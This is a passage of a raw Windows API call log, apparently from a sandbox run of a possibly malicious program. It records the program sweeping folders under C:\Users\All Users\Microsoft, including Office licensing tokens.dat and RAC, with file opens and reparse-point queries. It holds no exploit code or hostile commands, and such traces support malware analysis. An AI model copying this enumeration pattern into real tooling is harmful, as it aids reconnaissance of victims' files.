ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef116910, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 0 [0091.618] GetLastError () returned 0x12 [0091.618] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb630) returned 1 [0091.618] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0091.618] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb5a8) returned 1 [0091.619] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.619] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UICaptions", cAlternateFileName="")) returned 0 [0091.619] GetLastError () returned 0x12 [0091.619] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faec0) returned 1 [0091.619] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0091.619] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.620] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0091.620] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfa44d4a0, ftLastAccessTime.dwHighDateTime=0x1d305fd, ftLastWriteTime.dwLowDateTime=0xfa44d4a0, ftLastWriteTime.dwHighDateTime=0x1d305fd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="")) returned 1 [0091.620] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0091.620] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform" (normalized: "c:\\users\\all users\\microsoft\\officesoftwareprotectionplatform"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfa44d4a0, ftLastAccessTime.dwHighDateTime=0x1d305fd, ftLastWriteTime.dwLowDateTime=0xfa44d4a0, ftLastWriteTime.dwHighDateTime=0x1d305fd, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.620] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform" (normalized: "c:\\users\\all users\\microsoft\\officesoftwareprotectionplatform"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0091.621] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0091.621] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.621] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0091.621] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.621] NtClose (Handle=0x17c) returned 0x0 [0091.622] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0091.622] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0091.622] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.622] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faec0 [0091.622] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9180 [0091.622] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfa44d4a0, ftLastAccessTime.dwHighDateTime=0x1d305fd, ftLastWriteTime.dwLowDateTime=0xfa44d4a0, ftLastWriteTime.dwHighDateTime=0x1d305fd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.623] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8ab1ae70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x9de525d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9de525d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1 [0091.623] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8c015050, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfa44d4a0, ftLastAccessTime.dwHighDateTime=0x1d305fd, ftLastWriteTime.dwLowDateTime=0x63c5e40, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x469bd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="tokens.dat", cAlternateFileName="")) returned 1 [0091.623] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.623] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.623] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.624] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.624] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.624] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1340e10 [0091.624] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.624] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f7398 [0091.625] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1359a10 [0091.626] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.626] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8c015050, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfa44d4a0, ftLastAccessTime.dwHighDateTime=0x1d305fd, ftLastWriteTime.dwLowDateTime=0x63c5e40, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x469bd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="tokens.dat", cAlternateFileName="")) returned 0 [0091.626] GetLastError () returned 0x12 [0091.626] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e8f40 [0091.626] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0091.626] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfa44d4a0, ftLastAccessTime.dwHighDateTime=0x1d305fd, ftLastWriteTime.dwLowDateTime=0xfa44d4a0, ftLastWriteTime.dwHighDateTime=0x1d305fd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.626] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8ab1ae70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x9de525d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9de525d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1 [0091.626] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1359b18 [0091.626] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache" (normalized: "c:\\users\\all users\\microsoft\\officesoftwareprotectionplatform\\cache"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8ab1ae70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x9de525d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9de525d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.627] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache" (normalized: "c:\\users\\all users\\microsoft\\officesoftwareprotectionplatform\\cache"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0091.627] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0091.627] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.627] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0091.628] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.628] NtClose (Handle=0x17c) returned 0x0 [0091.628] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1359b18) returned 1 [0091.628] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.628] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.628] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1359b18 [0091.629] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.629] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1359c20 [0091.629] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9180 [0091.629] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8ab1ae70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x9de525d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9de525d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.629] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9de525d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x9de525d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2caa5f40, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x40270, dwReserved0=0x0, dwReserved1=0x0, cFileName="cache.dat", cAlternateFileName="")) returned 1 [0091.629] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.630] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.630] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.630] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.630] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.631] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1359d28 [0091.631] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.631] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f73b8 [0091.631] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1359e30 [0091.632] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.632] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9de525d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x9de525d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2caa5f40, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x40270, dwReserved0=0x0, dwReserved1=0x0, cFileName="cache.dat", cAlternateFileName="")) returned 0 [0091.632] GetLastError () returned 0x12 [0091.632] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9140 [0091.632] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0091.632] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8ab1ae70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x9de525d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9de525d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.632] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9de525d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x9de525d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2caa5f40, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x40270, dwReserved0=0x0, dwReserved1=0x0, cFileName="cache.dat", cAlternateFileName="")) returned 1 [0091.632] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9de525d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x9de525d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2caa5f40, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x40270, dwReserved0=0x0, dwReserved1=0x0, cFileName="cache.dat", cAlternateFileName="")) returned 0 [0091.632] GetLastError () returned 0x12 [0091.632] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1359c20) returned 1 [0091.632] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0091.633] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1359d28) returned 1 [0091.633] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1359b18) returned 1 [0091.633] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8c015050, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfa44d4a0, ftLastAccessTime.dwHighDateTime=0x1d305fd, ftLastWriteTime.dwLowDateTime=0x63c5e40, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x469bd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="tokens.dat", cAlternateFileName="")) returned 1 [0091.633] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8c015050, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfa44d4a0, ftLastAccessTime.dwHighDateTime=0x1d305fd, ftLastWriteTime.dwLowDateTime=0x63c5e40, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x469bd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="tokens.dat", cAlternateFileName="")) returned 0 [0091.633] GetLastError () returned 0x12 [0091.633] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faec0) returned 1 [0091.633] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0091.634] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1340e10) returned 1 [0091.634] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0091.634] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RAC", cAlternateFileName="")) returned 1 [0091.634] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0091.634] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC" (normalized: "c:\\users\\all users\\microsoft\\rac"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.634] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\RAC" (normalized: "c:\\users\\all users\\microsoft\\rac"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0091.635] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0091.635] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.635] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0091.635] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.635] NtClose (Handle=0x15c) returned 0x0 [0091.636] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0091.636] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0091.636] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faec0 [0091.636] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.636] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e8f40 [0091.636] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.637] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd6e33921, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outbound", cAlternateFileName="")) returned 1 [0091.637] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7b503bb0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x7b503bb0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublishedData", cAlternateFileName="")) returned 1 [0091.637] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7b503bb0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x7b503bb0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="StateData", cAlternateFileName="")) returned 1 [0091.637] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7b5e83f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x7b5e83f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0091.637] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7b5e83f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x7b5e83f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 0 [0091.637] GetLastError () returned 0x12 [0091.637] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9140 [0091.637] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0091.637] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.637] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd6e33921, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outbound", cAlternateFileName="")) returned 1 [0091.637] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.637] GetFileAttributesExW (in: lpFileName="C:\\Users\\All 